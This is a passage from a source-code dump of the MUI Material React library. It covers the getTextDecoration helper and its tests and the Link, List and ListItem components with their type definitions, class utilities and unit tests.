expect(anchor).not.to.have.class(classes.focusVisible);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Link/getTextDecoration.test.js",
    "content": "import { expect } from 'chai';\nimport { createTheme, extendTheme } from '../styles';\nimport getTextDecoration from './getTextDecoration';\n\ndescribe('getTextDecoration', () => {\n  describe('without theme.vars', () => {\n    const theme = createTheme();\n\n    it('system color', () => {\n      expect(getTextDecoration({ theme, ownerState: { color: 'primary.main' } })).to.equal(\n        'rgba(25, 118, 210, 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'text.primary' } })).to.equal(\n        'rgba(0, 0, 0, 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'secondary.main' } })).to.equal(\n        'rgba(156, 39, 176, 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'text.secondary' } })).to.equal(\n        'rgba(0, 0, 0, 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'error.main' } })).to.equal(\n        'rgba(211, 47, 47, 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'grey.500' } })).to.equal(\n        'rgba(158, 158, 158, 0.4)',\n      );\n    });\n\n    it('valid CSS color', () => {\n      expect(getTextDecoration({ theme, ownerState: { color: '#000' } })).to.equal(\n        'rgba(0, 0, 0, 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'rgb(1, 1, 1)' } })).to.equal(\n        'rgba(1, 1, 1, 0.4)',\n      );\n      expect(() => getTextDecoration({ theme, ownerState: { color: 'yellow' } })).to.throw();\n    });\n\n    it('work with a custom palette', () => {\n      const customTheme = createTheme({\n        colorSchemes: {\n          light: {\n            palette: {\n              myColor: theme.palette.augmentColor({ color: { main: '#bbbbbb' } }),\n            },\n          },\n          dark: {\n            palette: {\n              myColor: theme.palette.augmentColor({ color: { main: '#aaaaaa' } }),\n            },\n          },\n        },\n      });\n      expect(getTextDecoration({ theme: customTheme, ownerState: { color: 'myColor' } })).to.equal(\n        'rgba(187, 187, 187, 0.4)',\n      );\n    });\n  });\n\n  describe('CSS variables', () => {\n    const theme = extendTheme();\n    theme.palette = theme.colorSchemes.light.palette;\n    theme.vars = {\n      palette: {\n        primary: {\n          mainChannel: 'var(--palette-primary-mainChannel)',\n        },\n        secondary: {\n          mainChannel: 'var(--palette-secondary-mainChannel)',\n        },\n        text: {\n          primaryChannel: 'var(--palette-text-primaryChannel)',\n          secondaryChannel: 'var(--palette-text-secondaryChannel)',\n        },\n        error: {\n          mainChannel: 'var(--palette-error-mainChannel)',\n        },\n      },\n    };\n\n    it('system color', () => {\n      expect(getTextDecoration({ theme, ownerState: { color: 'primary.main' } })).to.equal(\n        'rgba(var(--palette-primary-mainChannel) / 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'text.primary' } })).to.equal(\n        'rgba(var(--palette-text-primaryChannel) / 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'secondary.main' } })).to.equal(\n        'rgba(var(--palette-secondary-mainChannel) / 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'text.secondary' } })).to.equal(\n        'rgba(var(--palette-text-secondaryChannel) / 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'error.main' } })).to.equal(\n        'rgba(var(--palette-error-mainChannel) / 0.4)',\n      );\n\n      // it fallback to use `theme.palette.grey.500` with alpha() if it could not find channel color\n      expect(getTextDecoration({ theme, ownerState: { color: 'grey.500' } })).to.equal(\n        'rgba(158, 158, 158, 0.4)',\n      );\n    });\n\n    it('valid CSS color', () => {\n      expect(getTextDecoration({ theme, ownerState: { color: '#000' } })).to.equal(\n        'rgba(0, 0, 0, 0.4)',\n      );\n      expect(getTextDecoration({ theme, ownerState: { color: 'rgb(1, 1, 1)' } })).to.equal(\n        'rgba(1, 1, 1, 0.4)',\n      );\n      expect(() => getTextDecoration({ theme, ownerState: { color: 'yellow' } })).to.throw();\n    });\n  });\n\n  describe('Native color', () => {\n    const theme = createTheme({\n      cssVariables: {\n        nativeColor: true,\n      },\n      colorSchemes: {\n        light: true,\n        dark: true,\n      },\n    });\n\n    it('oklch', () => {\n      expect(getTextDecoration({ theme, ownerState: { color: 'primary.main' } })).to.equal(\n        'oklch(from var(--mui-palette-primary-main, #1976d2) l c h / 0.4)',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Link/getTextDecoration.ts",
    "content": "import { getPath } from '@mui/system/style';\nimport { alpha } from '@mui/system/colorManipulator';\nimport type { Theme } from '../styles';\n\nconst getTextDecoration = <T extends Theme>({\n  theme,\n  ownerState,\n}: {\n  theme: T;\n  ownerState: { color: string };\n}) => {\n  const transformedColor = ownerState.color;\n\n  if ('colorSpace' in theme && theme.colorSpace) {\n    const color = (getPath(theme, `palette.${transformedColor}.main`) ||\n      getPath(theme, `palette.${transformedColor}`) ||\n      ownerState.color) as string;\n    return theme.alpha(color, 0.4);\n  }\n\n  // check the `main` color first for a custom palette, then fallback to the color itself\n  const color = (getPath(theme, `palette.${transformedColor}.main`, false) ||\n    getPath(theme, `palette.${transformedColor}`, false) ||\n    ownerState.color) as string;\n  const channelColor = (getPath(theme, `palette.${transformedColor}.mainChannel`) ||\n    getPath(theme, `palette.${transformedColor}Channel`)) as string | null;\n  if ('vars' in theme && channelColor) {\n    return `rgba(${channelColor} / 0.4)`;\n  }\n  return alpha(color, 0.4);\n};\n\nexport default getTextDecoration;\n"
  },
  {
    "path": "packages/mui-material/src/Link/index.d.ts",
    "content": "export { default } from './Link';\nexport * from './Link';\n\nexport { default as linkClasses } from './linkClasses';\nexport * from './linkClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Link/index.js",
    "content": "export { default } from './Link';\n\nexport { default as linkClasses } from './linkClasses';\nexport * from './linkClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Link/linkClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface LinkClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `underline=\"none\"`. */\n  underlineNone: string;\n  /** Styles applied to the root element if `underline=\"hover\"`. */\n  underlineHover: string;\n  /** Styles applied to the root element if `underline=\"always\"`. */\n  underlineAlways: string;\n  /** Styles applied to the root element if `component=\"button\"`. */\n  button: string;\n  /** State class applied to the root element if the link is keyboard focused. */\n  focusVisible: string;\n}\n\nexport type LinkClassKey = keyof LinkClasses;\n\nexport function getLinkUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiLink', slot);\n}\n\nconst linkClasses: LinkClasses = generateUtilityClasses('MuiLink', [\n  'root',\n  'underlineNone',\n  'underlineHover',\n  'underlineAlways',\n  'button',\n  'focusVisible',\n]);\n\nexport default linkClasses;\n"
  },
  {
    "path": "packages/mui-material/src/List/List.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverridableTypeMap, OverrideProps } from '../OverridableComponent';\nimport { ListClasses } from './listClasses';\n\nexport interface ListOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ListClasses> | undefined;\n  /**\n   * If `true`, compact vertical padding designed for keyboard and mouse input is used for\n   * the list and list items.\n   * The prop is available to descendant components as the `dense` context.\n   * @default false\n   */\n  dense?: boolean | undefined;\n  /**\n   * If `true`, vertical padding is removed from the list.\n   * @default false\n   */\n  disablePadding?: boolean | undefined;\n  /**\n   * The content of the subheader, normally `ListSubheader`.\n   */\n  subheader?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ListTypeMap<AdditionalProps = {}, RootComponent extends React.ElementType = 'ul'> {\n  props: AdditionalProps & ListOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n * utility to create component types that inherit props from List.\n */\nexport interface ExtendListTypeMap<TypeMap extends OverridableTypeMap> {\n  props: TypeMap['props'] & Omit<ListTypeMap['props'], keyof TypeMap['props']>;\n  defaultComponent: TypeMap['defaultComponent'];\n}\n\nexport type ExtendList<TypeMap extends OverridableTypeMap> = OverridableComponent<\n  ExtendListTypeMap<TypeMap>\n>;\n\n/**\n *\n * Demos:\n *\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n * - [Transfer List](https://next.mui.com/material-ui/react-transfer-list/)\n *\n * API:\n *\n * - [List API](https://next.mui.com/material-ui/api/list/)\n */\ndeclare const List: ExtendList<ListTypeMap>;\n\nexport type ListProps<\n  RootComponent extends React.ElementType = ListTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ListTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default List;\n"
  },
  {
    "path": "packages/mui-material/src/List/List.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport ListContext from './ListContext';\nimport { getListUtilityClass } from './listClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disablePadding, dense, subheader } = ownerState;\n\n  const slots = {\n    root: ['root', !disablePadding && 'padding', dense && 'dense', subheader && 'subheader'],\n  };\n\n  return composeClasses(slots, getListUtilityClass, classes);\n};\n\nconst ListRoot = styled('ul', {\n  name: 'MuiList',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      !ownerState.disablePadding && styles.padding,\n      ownerState.dense && styles.dense,\n      ownerState.subheader && styles.subheader,\n    ];\n  },\n})({\n  listStyle: 'none',\n  margin: 0,\n  padding: 0,\n  position: 'relative',\n  variants: [\n    {\n      props: ({ ownerState }) => !ownerState.disablePadding,\n      style: {\n        paddingTop: 8,\n        paddingBottom: 8,\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.subheader,\n      style: {\n        paddingTop: 0,\n      },\n    },\n  ],\n});\n\nconst List = React.forwardRef(function List(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiList' });\n  const {\n    children,\n    className,\n    component = 'ul',\n    dense = false,\n    disablePadding = false,\n    subheader,\n    ...other\n  } = props;\n\n  const context = React.useMemo(() => ({ dense }), [dense]);\n\n  const ownerState = {\n    ...props,\n    component,\n    dense,\n    disablePadding,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ListContext.Provider value={context}>\n      <ListRoot\n        as={component}\n        className={clsx(classes.root, className)}\n        ref={ref}\n        ownerState={ownerState}\n        {...other}\n      >\n        {subheader}\n        {children}\n      </ListRoot>\n    </ListContext.Provider>\n  );\n});\n\nList.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, compact vertical padding designed for keyboard and mouse input is used for\n   * the list and list items.\n   * The prop is available to descendant components as the `dense` context.\n   * @default false\n   */\n  dense: PropTypes.bool,\n  /**\n   * If `true`, vertical padding is removed from the list.\n   * @default false\n   */\n  disablePadding: PropTypes.bool,\n  /**\n   * The content of the subheader, normally `ListSubheader`.\n   */\n  subheader: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default List;\n"
  },
  {
    "path": "packages/mui-material/src/List/List.spec.tsx",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\n\n// custom host\n// https://github.com/mui/material-ui/issues/13746\n{\n  <List component=\"div\" />;\n  <List\n    component=\"div\"\n    onChange={(event: React.FormEvent<HTMLDivElement>) => {\n      event.currentTarget;\n    }}\n  />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/List/List.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport ListSubheader, { listSubheaderClasses } from '@mui/material/ListSubheader';\nimport ListItem, { listItemClasses } from '@mui/material/ListItem';\nimport List, { listClasses as classes } from '@mui/material/List';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<List />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<List />, () => ({\n    classes,\n    inheritComponent: 'ul',\n    render,\n    muiName: 'MuiList',\n    refInstanceof: window.HTMLUListElement,\n    testVariantProps: { disablePadding: true },\n  }));\n\n  it('should render with padding classes', () => {\n    const { container } = render(<List className=\"woofList\" />);\n\n    expect(container.firstChild).to.have.class(classes.padding);\n  });\n\n  it('can disable the padding', () => {\n    const { container } = render(<List disablePadding />);\n\n    expect(container.firstChild).not.to.have.class(classes.padding);\n  });\n\n  describe('prop: subheader', () => {\n    it('should render with subheader class', () => {\n      const { container } = render(<List subheader={<ListSubheader>Title</ListSubheader>} />);\n\n      expect(container.firstChild).to.have.class(classes.subheader);\n    });\n\n    it('should render ListSubheader', () => {\n      const { container } = render(<List subheader={<ListSubheader>Title</ListSubheader>} />);\n      const item = container.querySelector('li');\n\n      expect(item).to.have.class(listSubheaderClasses.root);\n    });\n  });\n\n  describe('prop: dense', () => {\n    it('is disabled by default', () => {\n      const { container } = render(<List />);\n\n      expect(container.firstChild).not.to.have.class(classes.dense);\n    });\n\n    it('adds a dense class', () => {\n      const { container } = render(<List dense />);\n\n      expect(container.firstChild).to.have.class(classes.dense);\n    });\n\n    it('sets dense on deep nested ListItem', () => {\n      // mocking a tooltip\n      const Tooltip = React.Fragment;\n\n      const { container } = render(\n        <List dense>\n          <Tooltip>\n            <ListItem>Inbox</ListItem>\n          </Tooltip>\n          <ListItem>Drafts</ListItem>\n          <ListItem />\n        </List>,\n      );\n\n      const liItems = container.querySelectorAll('li');\n      for (let i = 0; i < liItems.length; i += 1) {\n        expect(liItems[i]).to.have.class(listItemClasses.dense);\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/List/ListContext.d.ts",
    "content": "import * as React from 'react';\n\ndeclare const ListContext: React.Context<{ dense?: boolean | undefined }>;\nexport default ListContext;\n"
  },
  {
    "path": "packages/mui-material/src/List/ListContext.js",
    "content": "'use client';\nimport * as React from 'react';\n\n/**\n * @ignore - internal component.\n */\nconst ListContext = React.createContext({});\n\nif (process.env.NODE_ENV !== 'production') {\n  ListContext.displayName = 'ListContext';\n}\n\nexport default ListContext;\n"
  },
  {
    "path": "packages/mui-material/src/List/index.d.ts",
    "content": "export { default } from './List';\nexport * from './List';\n\nexport { default as listClasses } from './listClasses';\nexport * from './listClasses';\n"
  },
  {
    "path": "packages/mui-material/src/List/index.js",
    "content": "export { default } from './List';\n\nexport { default as listClasses } from './listClasses';\nexport * from './listClasses';\n"
  },
  {
    "path": "packages/mui-material/src/List/listClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ListClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element unless `disablePadding={true}`. */\n  padding: string;\n  /** Styles applied to the root element if dense. */\n  dense: string;\n  /** Styles applied to the root element if a `subheader` is provided. */\n  subheader: string;\n}\n\nexport type ListClassKey = keyof ListClasses;\n\nexport function getListUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiList', slot);\n}\n\nconst listClasses: ListClasses = generateUtilityClasses('MuiList', [\n  'root',\n  'padding',\n  'dense',\n  'subheader',\n]);\n\nexport default listClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ListItem/ListItem.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ListItemClasses } from './listItemClasses';\nimport { SlotProps } from '../utils/types';\n\nexport interface ListItemSecondaryActionSlotPropsOverrides {}\n\n/**\n * This type is kept for compatibility. Use `ListItemOwnProps` instead.\n */\nexport interface ListItemBaseProps {\n  /**\n   * Defines the `align-items` style property.\n   * @default 'center'\n   */\n  alignItems?: 'flex-start' | 'center' | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ListItemClasses> | undefined;\n  /**\n   * If `true`, compact vertical padding designed for keyboard and mouse input is used.\n   * The prop defaults to the value inherited from the parent List component.\n   * @default false\n   */\n  dense?: boolean | undefined;\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters?: boolean | undefined;\n  /**\n   * If `true`, all padding is removed.\n   * @default false\n   */\n  disablePadding?: boolean | undefined;\n  /**\n   * If `true`, a 1px light border is added to the bottom of the list item.\n   * @default false\n   */\n  divider?: boolean | undefined;\n  /**\n   * The element to display at the end of ListItem.\n   */\n  secondaryAction?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ListItemOwnerState extends Omit<ListItemProps, 'slots' | 'slotProps'> {}\n\nexport interface ListItemOwnProps extends ListItemBaseProps {\n  /**\n   * The extra props for the slot components.\n   * You can override the existing props or add new ones.\n   *\n   * @default {}\n   */\n  slotProps?:\n    | {\n        root?: React.HTMLAttributes<HTMLDivElement> | undefined;\n        secondaryAction?:\n          | SlotProps<\n              React.ElementType<React.HTMLAttributes<HTMLDivElement>>,\n              ListItemSecondaryActionSlotPropsOverrides,\n              ListItemOwnerState\n            >\n          | undefined;\n      }\n    | undefined;\n  /**\n   * The components used for each slot inside.\n   *\n   * @default {}\n   */\n  slots?:\n    | {\n        root?: React.ElementType | undefined;\n        secondaryAction?: React.ElementType | undefined;\n      }\n    | undefined;\n}\n\nexport interface ListItemTypeMap<AdditionalProps, RootComponent extends React.ElementType> {\n  props: AdditionalProps & ListItemOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n * - [Transfer List](https://next.mui.com/material-ui/react-transfer-list/)\n *\n * API:\n *\n * - [ListItem API](https://next.mui.com/material-ui/api/list-item/)\n */\ndeclare const ListItem: OverridableComponent<ListItemTypeMap<{}, 'li'>>;\n\nexport type ListItemProps<\n  RootComponent extends React.ElementType = 'li',\n  AdditionalProps = {},\n> = OverrideProps<ListItemTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default ListItem;\n"
  },
  {
    "path": "packages/mui-material/src/ListItem/ListItem.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport useSlot from '../utils/useSlot';\nimport ListContext from '../List/ListContext';\nimport { getListItemUtilityClass } from './listItemClasses';\nimport { listItemButtonClasses } from '../ListItemButton';\nimport ListItemSecondaryAction from '../ListItemSecondaryAction';\n\nexport const overridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [\n    styles.root,\n    ownerState.dense && styles.dense,\n    ownerState.alignItems === 'flex-start' && styles.alignItemsFlexStart,\n    ownerState.divider && styles.divider,\n    !ownerState.disableGutters && styles.gutters,\n    !ownerState.disablePadding && styles.padding,\n  ];\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { alignItems, classes, dense, disableGutters, disablePadding, divider } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      dense && 'dense',\n      !disableGutters && 'gutters',\n      !disablePadding && 'padding',\n      divider && 'divider',\n      alignItems === 'flex-start' && 'alignItemsFlexStart',\n    ],\n    secondaryAction: ['secondaryAction'],\n  };\n\n  return composeClasses(slots, getListItemUtilityClass, classes);\n};\n\nexport const ListItemRoot = styled('div', {\n  name: 'MuiListItem',\n  slot: 'Root',\n  overridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    justifyContent: 'flex-start',\n    alignItems: 'center',\n    position: 'relative',\n    textDecoration: 'none',\n    width: '100%',\n    boxSizing: 'border-box',\n    textAlign: 'left',\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.disablePadding,\n        style: {\n          paddingTop: 8,\n          paddingBottom: 8,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.disablePadding && ownerState.dense,\n        style: {\n          paddingTop: 4,\n          paddingBottom: 4,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.disablePadding && !ownerState.disableGutters,\n        style: {\n          paddingLeft: 16,\n          paddingRight: 16,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.disablePadding && !!ownerState.secondaryAction,\n        style: {\n          // Add some space to avoid collision as `ListItemSecondaryAction`\n          // is absolutely positioned.\n          paddingRight: 48,\n        },\n      },\n      {\n        props: ({ ownerState }) => !!ownerState.secondaryAction,\n        style: {\n          [`& > .${listItemButtonClasses.root}`]: {\n            paddingRight: 48,\n          },\n        },\n      },\n      {\n        props: {\n          alignItems: 'flex-start',\n        },\n        style: {\n          alignItems: 'flex-start',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.divider,\n        style: {\n          borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n          backgroundClip: 'padding-box',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.button,\n        style: {\n          transition: theme.transitions.create('background-color', {\n            duration: theme.transitions.duration.shortest,\n          }),\n          '&:hover': {\n            textDecoration: 'none',\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n            // Reset on touch devices, it doesn't add specificity\n            '@media (hover: none)': {\n              backgroundColor: 'transparent',\n            },\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst StyledListItemSecondaryAction = styled(ListItemSecondaryAction, {\n  name: 'MuiListItem',\n  slot: 'secondaryAction',\n  overridesResolver: (props, styles) => styles.secondaryAction,\n})({});\n\nconst ListItem = React.forwardRef(function ListItem(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiListItem' });\n  const {\n    alignItems = 'center',\n    children: childrenProp,\n    className,\n    component: componentProp = 'li',\n    dense = false,\n    disableGutters = false,\n    disablePadding = false,\n    divider = false,\n    secondaryAction,\n    slotProps = {},\n    slots = {},\n    ...other\n  } = props;\n\n  const context = React.useContext(ListContext);\n  const childContext = React.useMemo(\n    () => ({\n      dense: dense || context.dense || false,\n      alignItems,\n      disableGutters,\n    }),\n    [alignItems, context.dense, dense, disableGutters],\n  );\n\n  const ownerState = {\n    ...props,\n    alignItems,\n    dense: childContext.dense,\n    disableGutters,\n    disablePadding,\n    divider,\n    secondaryAction,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    elementType: ListItemRoot,\n    externalForwardedProps: {\n      component: componentProp,\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    className: clsx(classes.root, className),\n  });\n\n  const [SecondaryActionSlot, secondaryActionSlotProps] = useSlot('secondaryAction', {\n    elementType: StyledListItemSecondaryAction,\n    shouldForwardComponentProp: true,\n    externalForwardedProps,\n    ownerState,\n    className: classes.secondaryAction,\n  });\n\n  return (\n    <ListContext.Provider value={childContext}>\n      <RootSlot {...rootSlotProps}>\n        {childrenProp}\n        {secondaryAction && (\n          <SecondaryActionSlot {...secondaryActionSlotProps}>{secondaryAction}</SecondaryActionSlot>\n        )}\n      </RootSlot>\n    </ListContext.Provider>\n  );\n});\n\nListItem.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Defines the `align-items` style property.\n   * @default 'center'\n   */\n  alignItems: PropTypes.oneOf(['center', 'flex-start']),\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, compact vertical padding designed for keyboard and mouse input is used.\n   * The prop defaults to the value inherited from the parent List component.\n   * @default false\n   */\n  dense: PropTypes.bool,\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * If `true`, all padding is removed.\n   * @default false\n   */\n  disablePadding: PropTypes.bool,\n  /**\n   * If `true`, a 1px light border is added to the bottom of the list item.\n   * @default false\n   */\n  divider: PropTypes.bool,\n  /**\n   * The element to display at the end of ListItem.\n   */\n  secondaryAction: PropTypes.node,\n  /**\n   * The extra props for the slot components.\n   * You can override the existing props or add new ones.\n   *\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    root: PropTypes.object,\n    secondaryAction: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   *\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    root: PropTypes.elementType,\n    secondaryAction: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ListItem;\n"
  },
  {
    "path": "packages/mui-material/src/ListItem/ListItem.spec.tsx",
    "content": "import * as React from 'react';\nimport ListItem from '@mui/material/ListItem';\nimport { styled } from '@mui/material/styles';\nimport ListItemButton from '@mui/material/ListItemButton';\n\n// verify that https://github.com/mui/material-ui/issues/19756 already worked.\nfunction MouseEnterTest() {\n  function handleMouseEnter(event: React.MouseEvent<HTMLLIElement>) {}\n  <ListItem onMouseEnter={handleMouseEnter} />;\n\n  function handleMouseEnterButton(event: React.MouseEvent<HTMLDivElement>) {}\n  // @ts-expect-error\n  <ListItem onMouseEnter={handleMouseEnterButton} />; // desired: missing property button\n  <ListItemButton onMouseEnter={handleMouseEnterButton} />;\n}\n\n// https://github.com/mui/material-ui/issues/26469\nconst StyledListItem = styled(ListItem)({});\nfunction StyledTest() {\n  <StyledListItem dense />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/ListItem/ListItem.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport ListItem, { listItemClasses as classes } from '@mui/material/ListItem';\nimport ListContext from '../List/ListContext';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ListItem />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ListItem secondaryAction=\"foo\" />, () => ({\n    classes,\n    inheritComponent: 'li',\n    render,\n    refInstanceof: window.HTMLLIElement,\n    muiName: 'MuiListItem',\n    testVariantProps: { dense: true },\n    slots: {\n      root: { expectedClassName: classes.root },\n      secondaryAction: { expectedClassName: classes.secondaryAction },\n    },\n  }));\n\n  it('should render with gutters classes', () => {\n    render(<ListItem />);\n    expect(screen.getByRole('listitem')).to.have.class(classes.gutters);\n  });\n\n  it('should disable the gutters', () => {\n    render(<ListItem disableGutters />);\n    expect(screen.getByRole('listitem')).not.to.have.class(classes.gutters);\n  });\n\n  describe('context: dense', () => {\n    it('should forward the context', () => {\n      let context = null;\n      const { setProps } = render(\n        <ListItem>\n          <ListContext.Consumer>\n            {(options) => {\n              context = options;\n            }}\n          </ListContext.Consumer>\n        </ListItem>,\n      );\n      expect(context).to.have.property('dense', false);\n      setProps({ dense: true });\n      expect(context).to.have.property('dense', true);\n    });\n  });\n\n  describe('action', () => {\n    it('should show action if provided', () => {\n      render(<ListItem secondaryAction=\"foo\" />);\n      expect(screen.getByText('foo')).toBeVisible();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ListItem/index.d.ts",
    "content": "export { default } from './ListItem';\nexport * from './ListItem';\n\nexport { default as listItemClasses } from './listItemClasses';\nexport * from './listItemClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItem/index.js",
    "content": "export { default } from './ListItem';\n\nexport { default as listItemClasses } from './listItemClasses';\nexport * from './listItemClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListItem/listItemClasses.ts",
